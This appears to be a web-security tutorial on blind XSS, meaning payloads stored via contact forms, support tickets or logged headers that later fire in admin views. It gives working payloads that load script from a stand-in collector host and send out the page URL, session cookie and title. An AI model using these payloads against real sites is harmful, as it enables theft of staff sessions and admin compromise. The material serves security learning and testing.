Blind XSS

Blind XSS is stored XSS you cannot see fire. Your payload is saved and later rendered on a page you have no access to, an admin dashboard, a support agent's queue, a log viewer, an internal analytics tool. There is no visible reflection to confirm the bug, so you need the payload to phone home when it runs. That one change, making execution announce itself, is what makes blind XSS findable.

When your payload fires somewhere you cannot see

Plenty of input you submit is never shown back to you but is shown to staff. A contact form routes to an internal inbox. A support ticket opens in an agent console. Your User-Agent and Referer get written into a log that an admin reviews in a web UI. In every case the render, and therefore the execution, happens in a context you will never load yourself. A classic reflected or stored test shows nothing, and the bug looks absent.

Using an out-of-band collector

The fix is a payload that calls back to a server you control the moment it executes:

"><script src="//collector.example/x.js"></script>

When that runs anywhere, the browser fetches x.js from your collector and the request lands in your logs with a timestamp and the source IP. Now you know it fired, even though you never saw the page. Make x.js do the real work: report where it is and what it can see.

Fields that commonly reach back-office views

Seed the inputs that tend to be read internally:

Contact / feedback / "report a problem" forms
Support ticket subject and body
Account fields staff review: display name, company, address
HTTP headers written to logs: User-Agent, Referer, X-Forwarded-For
Order notes, filenames, anything an admin opens

Because you cannot see the render context in advance, plant a payload that works from the most likely one (an attribute or HTML-body break-out) and let the callback tell you if it landed.

Payloads that report the environment back

A bare callback proves execution. A good blind payload also captures context so you can plan the real attack:

new Image().src =
  "//collector.example/?u=" + encodeURIComponent(location.href) +
  "&c=" + encodeURIComponent(document.cookie) +
  "&d=" + encodeURIComponent(document.title);

That tells you the internal URL it fired on, whether the session cookie is readable, and what the page is, which is enough to decide whether to escalate to the session-based actions in exploiting XSS. More elaborate collectors grab the page HTML or a screenshot of the admin view.

Patience and seeding many sinks

Blind XSS runs on someone else's schedule. A ticket might sit unread for hours, a log might only be reviewed once a day. So the strategy is breadth and patience: seed every plausible field in one pass, each carrying a payload tagged so you can tell which input fired, then wait for callbacks. A tagged callback (a different path per injection point) tells you exactly which field and which internal page is vulnerable.

Blind XSS is where stored XSS meets patience and an out-of-band channel. It is also where the highest-value admin compromises hide, because the payload goes straight to staff. Seed one and wait for the callback on a free live target.